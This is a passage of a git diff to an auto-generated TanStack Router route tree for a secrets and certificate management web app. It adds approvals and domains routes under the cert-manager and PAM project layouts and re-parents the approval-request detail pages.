+      parentRoute: typeof certManagerLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/access-management': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/access-management'
       path: '/access-management'
@@ -3327,6 +3408,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof projectAppConnectionsPageRouteCertManagerImport
       parentRoute: typeof certManagerLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals'
+      path: '/approvals'
+      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
+      preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsImport
+      parentRoute: typeof certManagerLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs'
       path: '/audit-logs'
@@ -3390,6 +3478,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof projectAccessControlPageRoutePamImport
       parentRoute: typeof pamLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals'
+      path: '/approvals'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/approvals'
+      preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsImport
+      parentRoute: typeof pamLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs'
       path: '/audit-logs'
@@ -3404,6 +3499,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryImport
       parentRoute: typeof pamLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains'
+      path: '/domains'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains'
+      preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsImport
+      parentRoute: typeof pamLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources'
       path: '/resources'
@@ -3488,6 +3590,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof projectAuditLogsPageRouteSshImport
       parentRoute: typeof sshLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/approvals/'
+      preLoaderRoute: typeof certManagerApprovalsPageRouteImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates/': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates/'
       path: '/'
@@ -3523,6 +3632,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof certManagerPkiSubscribersPageRouteImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/approvals/'
+      preLoaderRoute: typeof pamApprovalsPageRouteImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/'
       path: '/'
@@ -3530,6 +3646,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof pamPamDiscoveryPageRouteImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains/'
+      preLoaderRoute: typeof pamPamDomainsPageRouteImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/'
       path: '/'
@@ -3572,12 +3695,12 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof aiMCPServerDetailPageRouteImport
       parentRoute: typeof aiLayoutImport
     }
-    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId': {
-      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId'
-      path: '/approval-requests/$approvalRequestId'
-      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId'
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId'
+      path: '/$approvalRequestId'
+      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId'
       preLoaderRoute: typeof certManagerApprovalRequestDetailPageRouteImport
-      parentRoute: typeof certManagerLayoutImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsImport
     }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId'
@@ -3621,12 +3744,12 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof certManagerPkiSubscriberDetailsByIDPageRouteImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersImport
     }
-    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId': {
-      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId'
-      path: '/approval-requests/$approvalRequestId'
-      fullPath: '/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId'
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId'
+      path: '/$approvalRequestId'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId'
       preLoaderRoute: typeof pamApprovalRequestDetailPageRouteImport
-      parentRoute: typeof pamLayoutImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsImport
     }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/$sessionId': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/$sessionId'
@@ -4349,6 +4472,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof secretScanningSecretScanningDataSourceByIdPageRouteImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretScanningProjectIdSecretScanningLayoutDataSourcesImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId'
+      path: '/$domainType/$domainId'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId'
+      preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId'
       path: '/$resourceType/$resourceId'
@@ -4363,6 +4493,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdImport
       parentRoute: typeof secretManagerLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/'
+      preLoaderRoute: typeof pamPamDomainByIDPageRouteImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/'
       path: '/'
@@ -4475,6 +4612,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdCommitIdImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId'
+      path: '/accounts/$accountId'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId'
+      preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId'
       path: '/accounts/$accountId'
@@ -4482,6 +4626,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdImport
       parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId/'
+      preLoaderRoute: typeof pamPamDomainAccountByIDPageRouteImport
+      parentRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/'
       path: '/'
@@ -4581,6 +4732,23 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsAiProjectId
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsAiProjectIdRouteChildren,
   )
 
+interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteChildren {
+  certManagerApprovalsPageRouteRoute: typeof certManagerApprovalsPageRouteRoute
+  certManagerApprovalRequestDetailPageRouteRoute: typeof certManagerApprovalRequestDetailPageRouteRoute
+}
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteChildren: AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteChildren =
+  {
+    certManagerApprovalsPageRouteRoute: certManagerApprovalsPageRouteRoute,
+    certManagerApprovalRequestDetailPageRouteRoute:
+      certManagerApprovalRequestDetailPageRouteRoute,
+  }
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteWithChildren =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute._addFileChildren(
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteChildren,
+  )
+
 interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRouteChildren {
   certManagerPkiTemplateListPageRouteRoute: typeof certManagerPkiTemplateListPageRouteRoute
 }
@@ -4671,19 +4839,20 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManager
 
 interface certManagerLayoutRouteChildren {
   certManagerAlertingPageRouteRoute: typeof certManagerAlertingPageRouteRoute
-  certManagerApprovalsPageRouteRoute: typeof certManagerApprovalsPageRouteRoute
   certManagerCertificateAuthoritiesPageRouteRoute: typeof certManagerCertificateAuthoritiesPageRouteRoute
+  certManagerDashboardPageRouteRoute: typeof certManagerDashboardPageRouteRoute
   certManagerPoliciesPageRouteRoute: typeof certManagerPoliciesPageRouteRoute
   certManagerSettingsPageRouteRoute: typeof certManagerSettingsPageRouteRoute
+  certManagerDashboardPageRouteIndexRoute: typeof certManagerDashboardPageRouteIndexRoute
   projectAccessControlPageRouteCertManagerRoute: typeof projectAccessControlPageRouteCertManagerRoute
   projectAppConnectionsPageRouteCertManagerRoute: typeof projectAppConnectionsPageRouteCertManagerRoute
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteWithChildren
   projectAuditLogsPageRouteCertManagerRoute: typeof projectAuditLogsPageRouteCertManagerRoute
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCodeSigningRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCodeSigningRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutDiscoveryRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutDiscoveryRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutIntegrationsRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutIntegrationsRouteWithChildren
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersRouteWithChildren
-  certManagerApprovalRequestDetailPageRouteRoute: typeof certManagerApprovalRequestDetailPageRouteRoute
   certManagerCertAuthDetailsByIDPageRouteRoute: typeof certManagerCertAuthDetailsByIDPageRouteRoute
   certManagerCertificateDetailsByIDPageRouteRoute: typeof certManagerCertificateDetailsByIDPageRouteRoute
   projectGroupDetailsByIDPageRouteCertManagerRoute: typeof projectGroupDetailsByIDPageRouteCertManagerRoute
@@ -4695,15 +4864,19 @@ interface certManagerLayoutRouteChildren {
 
 const certManagerLayoutRouteChildren: certManagerLayoutRouteChildren = {
   certManagerAlertingPageRouteRoute: certManagerAlertingPageRouteRoute,
-  certManagerApprovalsPageRouteRoute: certManagerApprovalsPageRouteRoute,
   certManagerCertificateAuthoritiesPageRouteRoute:
     certManagerCertificateAuthoritiesPageRouteRoute,
+  certManagerDashboardPageRouteRoute: certManagerDashboardPageRouteRoute,
   certManagerPoliciesPageRouteRoute: certManagerPoliciesPageRouteRoute,
   certManagerSettingsPageRouteRoute: certManagerSettingsPageRouteRoute,
+  certManagerDashboardPageRouteIndexRoute:
+    certManagerDashboardPageRouteIndexRoute,
   projectAccessControlPageRouteCertManagerRoute:
     projectAccessControlPageRouteCertManagerRoute,
   projectAppConnectionsPageRouteCertManagerRoute:
     projectAppConnectionsPageRouteCertManagerRoute,
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute:
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteWithChildren,
   projectAuditLogsPageRouteCertManagerRoute:
     projectAuditLogsPageRouteCertManagerRoute,
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRoute:
@@ -4716,8 +4889,6 @@ const certManagerLayoutRouteChildren: certManagerLayoutRouteChildren = {
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutIntegrationsRouteWithChildren,
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersRoute:
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersRouteWithChildren,
-  certManagerApprovalRequestDetailPageRouteRoute:
-    certManagerApprovalRequestDetailPageRouteRoute,
   certManagerCertAuthDetailsByIDPageRouteRoute:
     certManagerCertAuthDetailsByIDPageRouteRoute,
   certManagerCertificateDetailsByIDPageRouteRoute:
@@ -4797,6 +4968,23 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsKmsProjectI
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsKmsProjectIdRouteChildren,
   )
 
+interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteChildren {
+  pamApprovalsPageRouteRoute: typeof pamApprovalsPageRouteRoute
+  pamApprovalRequestDetailPageRouteRoute: typeof pamApprovalRequestDetailPageRouteRoute
+}
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteChildren: AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteChildren =
+  {
+    pamApprovalsPageRouteRoute: pamApprovalsPageRouteRoute,
+    pamApprovalRequestDetailPageRouteRoute:
+      pamApprovalRequestDetailPageRouteRoute,
+  }
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteWithChildren =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute._addFileChildren(
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteChildren,
+  )
+
 interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteChildren {
   pamPamDiscoveryPageRouteRoute: typeof pamPamDiscoveryPageRouteRoute
   pamPamDiscoveryDetailPageRouteRoute: typeof pamPamDiscoveryDetailPageRouteRoute
@@ -4813,6 +5001,55 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteChildren,
   )
 
+interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteChildren {
+  pamPamDomainAccountByIDPageRouteRoute: typeof pamPamDomainAccountByIDPageRouteRoute
+}
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteChildren: AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteChildren =
+  {
+    pamPamDomainAccountByIDPageRouteRoute:
+      pamPamDomainAccountByIDPageRouteRoute,
+  }
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteWithChildren =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRoute._addFileChildren(
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteChildren,
+  )
+
+interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteChildren {
+  pamPamDomainByIDPageRouteRoute: typeof pamPamDomainByIDPageRouteRoute
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteWithChildren
+}
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteChildren: AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteChildren =
+  {
+    pamPamDomainByIDPageRouteRoute: pamPamDomainByIDPageRouteRoute,
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRoute:
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteWithChildren,
+  }
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteWithChildren =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute._addFileChildren(
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteChildren,
+  )
+
+interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteChildren {
+  pamPamDomainsPageRouteRoute: typeof pamPamDomainsPageRouteRoute
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteWithChildren
+}
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteChildren: AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteChildren =
+  {
+    pamPamDomainsPageRouteRoute: pamPamDomainsPageRouteRoute,
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute:
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteWithChildren,
+  }
+
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteWithChildren =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute._addFileChildren(
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteChildren,
+  )
+
 interface AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdRouteChildren {
   pamPamAccountByIDPageRouteRoute: typeof pamPamAccountByIDPageRouteRoute
 }
@@ -4879,14 +5116,14 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
 
 interface pamLayoutRouteChildren {
   pamPamAccountPoliciesPageRouteRoute: typeof pamPamAccountPoliciesPageRouteRoute
-  pamApprovalsPageRouteRoute: typeof pamApprovalsPageRouteRoute
   pamSettingsPageRouteRoute: typeof pamSettingsPageRouteRoute
   projectAccessControlPageRoutePamRoute: typeof projectAccessControlPageRoutePamRoute
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute: typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteWithChildren
   projectAuditLogsPageRoutePamRoute: typeof projectAuditLogsPageRoutePamRoute
